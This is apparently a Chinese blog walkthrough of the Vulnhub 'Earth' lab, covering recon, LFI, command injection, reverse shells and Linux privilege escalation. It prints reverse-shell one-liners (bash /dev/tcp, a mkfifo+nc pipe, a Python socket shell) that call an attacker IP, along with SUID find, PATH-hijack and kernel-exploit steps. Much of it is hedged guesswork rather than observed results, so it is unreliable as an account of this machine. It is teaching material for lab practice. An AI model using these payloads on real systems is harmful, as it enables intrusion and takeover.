Earth靶机渗透实战:从信息收集到权限提升的完整攻防演练

📅 2026/7/4 18:59:56 👁️ 阅读次数 📝 编程学习
Earth靶机渗透实战:从信息收集到权限提升的完整攻防演练

1. 项目概述:从零开始攻克Earth靶机

如果你正在学习网络安全,尤其是渗透测试的实战技能,那么Vulnhub上的Earth靶机绝对是一个绕不开的经典练习场。它不是那种简单几步就能拿下的“新手村”任务,而是需要你综合运用信息收集、漏洞分析、权限提升等一系列技能的综合性实战演练。我最近花了些时间,从头到尾完整地走了一遍Earth靶机的渗透流程,过程中踩了不少坑,也总结出一些非常实用的技巧。这篇文章,我就以一个过来人的身份,和你详细拆解整个渗透过程,不仅仅是告诉你“怎么做”,更重要的是分享“为什么这么做”以及“过程中可能遇到什么坑”。无论你是刚接触Vulnhub的新手,还是想巩固自己技能的老兵,相信这篇详尽的攻略都能给你带来实实在在的帮助。

Earth靶机模拟了一个存在多个漏洞的Linux服务器环境,我们的目标就是从外部网络,通过发现并利用其安全弱点,最终获取系统的最高权限(root shell)。整个过程就像一次完整的“夺旗”挑战,充满了探索和破解的乐趣。我会按照标准的渗透测试流程来组织内容:从环境搭建、信息收集开始,到漏洞发现与利用,再到内网横向移动和最终的权限提升。每个环节我都会附上具体的命令、操作截图(以文字描述关键输出)以及我当时思考的逻辑。准备好了吗?让我们开始这次地心探险。

2. 环境准备与靶机配置

2.1 靶机下载与虚拟机导入

首先,你得把“战场”准备好。Earth靶机的镜像文件可以在Vulnhub官网找到。搜索“Earth”就能看到,通常文件名是类似Earth.ovaEarth.vmdk的格式。我强烈建议下载.ova格式的文件,因为它是一个预配置的虚拟机模板,导入过程最省心。

下载完成后,我用的是VirtualBox来运行它。打开VirtualBox,点击“管理”菜单下的“导入虚拟电脑”,然后选择你下载的.ova文件。在导入设置里,有几点需要注意:

  1. 虚拟硬盘:确保你导入的硬盘文件存放在一个有足够空间(至少20GB)的磁盘分区上。
  2. 网络设置:这是最关键的一步。必须将网络适配器设置为“仅主机网络”。这意味着靶机和你的攻击机(比如Kali Linux)将处于一个与物理网络隔离的虚拟网络中,它们之间可以互相通信,但无法访问外网。这既保证了实验环境的安全,也模拟了内网渗透的场景。
  3. 系统资源:默认配置通常够用,但如果你机器性能较好,可以适当增加内存(比如2GB)和CPU核心数(1-2个),这样运行起来更流畅。

导入成功后,先不要启动靶机。同样地,你的攻击机(我使用的是Kali Linux虚拟机)也需要配置在同一个“仅主机网络”中。在VirtualBox里检查两台虚拟机的网络设置,确保它们连接在同一个虚拟网络接口上(比如都连接在VirtualBox Host-Only Ethernet Adapter上)。

注意:有时候VirtualBox的“仅主机网络”可能没有自动分配IP地址。你可以在VirtualBox主界面,进入“管理” -> “主机网络管理器”,创建一个新的主机网络适配器,并确保其DHCP服务器是启用的。这样虚拟机启动后就能自动获取到IP了。

2.2 攻击机配置与网络发现

启动你的Kali Linux虚拟机。首先,我们需要知道自己的IP地址,并探测靶机的IP。打开终端,输入ip addr showifconfig命令。你会看到一个通常是vboxneteth开头的网络接口,其IP地址类似于192.168.56.x(具体网段可能因配置而异)。记下这个IP,这是你攻击机的IP。

接下来,我们要找出靶机的IP。最常用的工具就是nmap。我们可以对整个虚拟网络段进行扫描。假设你的攻击机IP是192.168.56.101,那么虚拟网络很可能就是192.168.56.0/24网段。使用以下命令进行存活主机扫描:

sudo nmap -sn 192.168.56.0/24

-sn参数表示只进行Ping扫描(主机发现),不扫描端口。这条命令会列出该网段内所有在线的主机。在输出结果中,除了你的Kali Linux的IP,应该还会看到另一个IP地址,那就是Earth靶机的地址。假设我们发现的靶机IP是192.168.56.105

实操心得:如果-sn扫描没有发现靶机,可能是因为靶机禁用了ICMP回应。这时候可以尝试使用ARP扫描,它更底层,通常更可靠。可以使用netdiscover工具:sudo netdiscover -r 192.168.56.0/24。这个工具通过发送ARP请求来发现主机,在虚拟网络环境中尤其有效。

3. 信息收集与侦察

3.1 全面的端口与服务扫描

拿到靶机IP后,下一步就是进行深入的端口扫描,摸清靶机上开放了哪些服务,这是所有后续攻击的基础。我们不能只进行简单的默认端口扫描,而应该进行一次全面扫描。

sudo nmap -sV -sC -O -p- 192.168.56.105

让我解释一下这些参数的含义:

  • -sV:探测开放端口上运行的服务及其版本信息。知道服务版本对于寻找对应的漏洞至关重要。
  • -sC:使用Nmap自带的默认脚本进行扫描。这些脚本能进行更深入的探测,比如检查常见的漏洞、获取HTTP服务的标题信息等。
  • -O:尝试识别目标主机的操作系统。
  • -p-:扫描所有65535个端口,而不是默认的1000个常用端口。有些服务可能开在非常规端口上,这个参数能确保我们不会遗漏。

扫描过程可能需要几分钟。扫描完成后,你会得到一份详细的报告。以Earth靶机为例,典型的扫描结果可能显示开放了以下几个关键端口:

  • 22/tcp:SSH服务。这通常是Linux服务器的远程管理入口。
  • 80/tcp:HTTP服务。运行着一个Web服务器,这是非常常见的攻击入口。
  • 443/tcp:HTTPS服务。另一个Web入口,可能使用了SSL/TLS加密。
  • 还有一个较高编号的端口,比如12345/tcp或类似,运行着一个自定义服务。这种非标准端口往往藏着有趣的东西。

Nmap的输出里会包含服务的具体版本,比如Apache httpd 2.4.38OpenSSH 7.9p1。把这些信息都记录下来。

3.2 Web应用初步侦察

既然开放了80和443端口,Web应用自然是我们首要的侦察目标。首先,直接用浏览器访问http://192.168.56.105https://192.168.56.105。看看页面上显示了什么。Earth靶机的Web界面可能看起来很简单,甚至只有一个默认的Apache页面,但这并不意味着没有东西。

我们需要使用工具进行更深入的目录和文件枚举。gobusterdirb是这方面的利器。它们会尝试用字典中的常见路径去爆破,发现隐藏的目录或文件。

gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
  • dir:指定模式为目录爆破。
  • -u:指定目标URL。
  • -w:指定字典文件路径。Kali自带了多个字典,common.txt是一个不错的起点。
  • -x:指定尝试的文件扩展名。这里我们寻找.php,.html,.txt结尾的文件。

运行这个命令,你可能会发现一些有趣的目录,比如/admin/,/backup/,/uploads/,或者一些特定的文件如robots.txt,index.php.bak等。特别是robots.txt文件,它常常会暴露出网站管理员不想被爬虫访问的目录,这些目录有时包含敏感信息或后台入口。

同时,检查HTTPS网站时,注意查看其证书信息。有时证书的“通用名称”或“主题备用名称”字段会包含有用的域名或主机名信息,这可能在后续的虚拟主机探测中用到。

注意事项:在进行目录爆破时,控制好速率,避免因请求过快被临时屏蔽。可以使用-t参数指定线程数(如-t 20)。另外,如果网站有防爆破机制,你可能需要添加随机延迟或使用代理。

4. 漏洞发现与初始访问

4.1 分析非常规端口服务

回顾我们的Nmap扫描结果,那个非标准的高位端口(例如12345)非常可疑。我们用netcattelnet手动连接上去看看。

nc 192.168.56.105 12345

或者

telnet 192.168.56.105 12345

连接成功后,这个服务可能会返回一个提示符,或者直接显示一些信息。在Earth靶机中,这个端口很可能运行着一个自定义的、有漏洞的网络服务,比如一个简单的命令行界面,或者一个存在缓冲区溢出漏洞的守护进程。你需要像与一个未知的黑客工具交互一样,尝试输入一些内容,观察其反应。输入help?或者随便敲些字符看看。

关键点:如果这个服务在你输入一长串字符后崩溃或断开连接,那强烈暗示存在缓冲区溢出漏洞。例如,你可以用Python快速生成一个长字符串进行测试:

python3 -c “print(‘A’*500)” | nc 192.168.56.105 12345

如果服务异常,那么下一步就是进行更专业的缓冲区溢出漏洞分析,这通常涉及确定精确的溢出偏移量、控制指令指针等。不过,Earth靶机也可能在这个服务上设置了其他类型的漏洞,比如命令注入。尝试输入; ls| cat /etc/passwd看看服务是否会执行这些命令。

4.2 Web路径遍历与敏感信息泄露

回到Web侦察。如果gobuster发现了像/backup/admin这样的目录,直接访问它们。/backup目录下很可能存放着网站的源代码备份文件(如.tar.gz,.zip,.bak文件)。下载并解压这些备份文件。

源代码审计是发现漏洞的黄金手段。你需要仔细检查这些源代码,特别是与用户输入相关的处理逻辑。寻找以下危险函数或模式:

  • 文件包含include(),require(),include_once(),require_once(),其参数是否用户可控。
  • 命令执行system(),exec(),shell_exec(),passthru()反引号()`。
  • 文件操作file_get_contents(),readfile(), 参数是否未经验证直接拼接用户输入。
  • 数据库操作:SQL查询语句是否直接拼接用户输入,而没有使用参数化查询。

在Earth靶机的场景中,一个经典的漏洞是本地文件包含。你可能在源代码中发现类似这样的PHP代码:

$page = $_GET[‘file’]; include(‘/var/www/html/’ . $page);

攻击者可以通过构造?file=../../../../etc/passwd这样的参数,让服务器包含系统上的敏感文件,造成信息泄露。你可以直接在浏览器中尝试:http://192.168.56.105/index.php?file=../../../etc/passwd

如果LFI漏洞存在,你不仅能读到/etc/passwd,还可以结合其他技巧。例如,在Linux中,你可以通过包含/proc/self/environ文件(包含环境变量)或日志文件(如/var/log/apache2/access.log),并在User-Agent等字段中注入PHP代码,最终实现远程代码执行。这就是LFI到RCE的转化。

4.3 利用漏洞获取初始Shell

假设我们通过分析非标准端口服务,发现了一个命令注入漏洞。例如,服务接收一个“命令”参数并执行它,但没有做好过滤。

我们可以利用这个漏洞反弹一个Shell到我们的攻击机上。首先在Kali上开启一个Netcat监听器:

nc -lvnp 4444
  • -l监听模式
  • -v详细输出
  • -n不解析域名
  • -p指定端口

然后,向存在漏洞的服务发送注入命令。命令需要根据服务上下文进行编码或拼接。一个典型的反向Shell payload可能是:

; bash -c “bash -i >& /dev/tcp/192.168.56.101/4444 0>&1”

或者使用更通用的方式:

; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 4444 >/tmp/f

将上述payload作为输入发送给目标服务的对应参数。如果成功,你会在Netcat监听端看到一个连接,并获得一个低权限的Shell(可能是www-data用户或某个普通用户)。

实操心得:反弹Shell经常因为编码、特殊字符或shell环境问题而失败。多准备几种payload是明智的。常用的有:

  1. Bash TCP:bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
  2. Netcat传统:nc -e /bin/sh ATTACKER_IP PORT(需要目标nc支持-e参数,现在很少了)
  3. Netcat管道:上面提到的mkfifo方式。
  4. Python:python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ATTACKER_IP”,PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’如果一种不行,就换另一种试试。同时,确保你的防火墙没有阻止监听端口。

5. 权限提升与内网横向移动

5.1 立足点巩固与基础信息收集

成功获得一个初始Shell后,第一件事不是急着提权,而是巩固你的立足点并收集更多系统信息。一个不稳定的Shell可能随时断开。

  1. 升级Shell:用Python快速获取一个更友好的TTY Shell。

    python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

    或者

    /bin/bash -i

    如果Python不可用,尝试perlrubyscript命令。

  2. 基础信息收集:运行一系列命令来了解你所在的环境。

    • whoami&&id:查看当前用户和所属组。
    • uname -a:查看内核版本。
    • cat /etc/issuecat /etc/*release:查看操作系统发行版信息。
    • dpkg -lrpm -qa:查看已安装的软件包(分别对应Debian/Ubuntu和RHEL/CentOS)。
    • ps auxps -ef:查看运行中的进程,寻找以root身份运行的有趣进程。
    • netstat -tulpnss -tulpn:查看网络连接和监听端口,发现内部服务。
    • ifconfigip addr:查看网络接口信息,判断是否存在多块网卡(可能处于内网)。
    • find / -type f -perm -4000 -ls 2>/dev/null:查找所有SUID权限的文件。这些文件以文件所有者的权限运行,是常见的提权突破口。
    • sudo -l:如果当前用户有sudo权限,这个命令会列出该用户无需密码或以密码可以运行哪些命令。这是提权的最快捷途径之一!

5.2 利用SUID/SGID文件提权

在Earth靶机中,信息收集阶段发现的SUID文件可能是提权的关键。一个经典的例子是find命令。如果find被设置了SUID位,并且属于root,那么我们可以利用它来执行任意命令。

检查find的权限:

ls -la /usr/bin/find

如果输出中包含-rwsr-xr-x中的s,说明它有SUID位。

利用find提权:

/usr/bin/find . -exec /bin/bash -p \;

或者

touch test /usr/bin/find test -exec whoami \;

如果返回root,那么接下来的-exec参数就可以用来执行一个root shell:/usr/bin/find test -exec /bin/bash -p \;。进入的bash会继承find进程的root权限。

除了find,其他常见的危险SUID程序还包括nmap(旧版本交互模式)、vimbash(某些版本)、more/lesscp等。你可以使用像linpeaslinenum这样的自动化脚本,它们能更系统性地识别提权路径。你可以从攻击机上传这些脚本到靶机临时目录执行。

5.3 利用环境变量与Cron Job提权

另一种常见的提权方式是劫持环境变量。检查是否有任何脚本或程序以root权限运行,并且它调用了相对路径的命令(例如,调用ls而不是/bin/ls)。

  1. 检查Cron Jobscrontab -l查看当前用户的计划任务,cat /etc/crontab查看系统级的计划任务。寻找那些以root身份运行,并且执行脚本路径具有写权限的任务。
  2. 路径劫持:如果有一个root cron job执行了backup.sh,而这个脚本里有一行是tar -czf /backups/backup.tar.gz /var/www/html,它直接使用了tar命令。如果我们可以控制环境变量PATH,或者脚本所在的目录,我们就可以进行劫持。
    • 假设脚本位于/opt/scripts/backup.sh,并且我们对该目录有写权限。
    • 我们可以创建一个恶意的tar可执行文件:
      echo ‘/bin/bash -p’ > /tmp/tar chmod +x /tmp/tar
    • 然后修改环境变量,让我们伪造的tar优先被找到:
      export PATH=/tmp:$PATH
    • 等待cron job执行,或者如果脚本可以被手动触发,我们的恶意tar就会被以root权限执行,从而给我们一个root shell。

在Earth靶机中,可能需要结合发现的Web备份脚本、日志清理脚本等,仔细分析其执行逻辑和权限设置。

5.4 内核漏洞提权

如果上述方法都行不通,最后的大招就是内核漏洞提权。我们之前用uname -a获取了内核版本。我们可以搜索该版本是否存在公开的本地提权漏洞。

在Kali攻击机上,我们可以搜索漏洞利用代码。例如,使用searchsploit工具:

searchsploit “Linux Kernel 4.4” privilege

或者去 exploit-db.com 网站搜索。找到对应的漏洞利用代码(通常是一个C语言文件)后,将其上传到靶机。上传方法有很多:

  • 在靶机上用wgetcurl从攻击机搭建的HTTP服务器下载。
  • 在攻击机上用python3 -m http.server 8000启动一个简易HTTP服务器,然后在靶机上下载:wget http://192.168.56.101:8000/exploit.c
  • 如果网络不通,可以用base64编码后通过echo命令逐行写入。

上传后,在靶机上编译并运行:

gcc exploit.c -o exploit chmod +x exploit ./exploit

如果漏洞利用成功,你会看到#提示符,表示获得了root权限。

重要警告:内核漏洞利用有风险,可能导致系统崩溃(蓝屏/死机)。在靶机环境中可以大胆尝试,但在真实环境中务必谨慎,最好在完全相同的测试环境中先验证。另外,现代系统通常有沙箱、SELinux、AppArmor等安全机制,可能会阻止漏洞利用。

6. 总结与经验复盘

攻克Earth靶机的过程,是一次对渗透测试基本流程的完整实践。从信息收集的耐心细致,到漏洞分析的敏锐洞察,再到利用和提权的灵活应变,每一个环节都考验着你的综合能力。回顾整个过程,有几点深刻的体会:

首先,信息收集是重中之重。Nmap的全面扫描、Web目录的枚举、源代码的审计,这些看似枯燥的工作往往能发现最关键的突破口。Earth靶机中,那个非标准端口和Web备份文件就是最典型的例子。不要满足于默认扫描,深度和广度决定了你能看到多少攻击面。

其次,对漏洞的理解要超越工具。自动化工具能发现潜在问题,但真正的利用需要手动验证和深入理解。比如LFI漏洞,工具可能只报告“发现本地文件包含”,但如何将其转化为RCE,需要你知道/proc/self/environ、日志注入这些技巧。再比如SUID提权,知道find可以用于提权是知识,但能在实战中想起来并成功运用,才是能力。

第三,提权路径往往不止一条。不要在一个方法上钻牛角尖。SUID不行就看看sudo权限,再不行就查cron job,最后还有内核漏洞。平时多积累各种提权技巧,并学会使用像linpeas这样的自动化信息收集脚本,它能帮你系统性地梳理出可能的提权点,大大提高效率。

最后,保持耐心和记录的习惯。渗透测试很少能一击即中。遇到阻碍时,回头重新审视收集到的信息,也许会有新的发现。详细记录你的每一步操作、每一条命令的输出、每一个猜想和验证结果。这不仅是完成靶机的要求,更是养成专业素养的必经之路。Earth靶机只是开始,Vulnhub上还有无数更复杂的挑战等着你。把在这个靶机上练就的思路和方法固化下来,你就能更有信心地去面对下一个。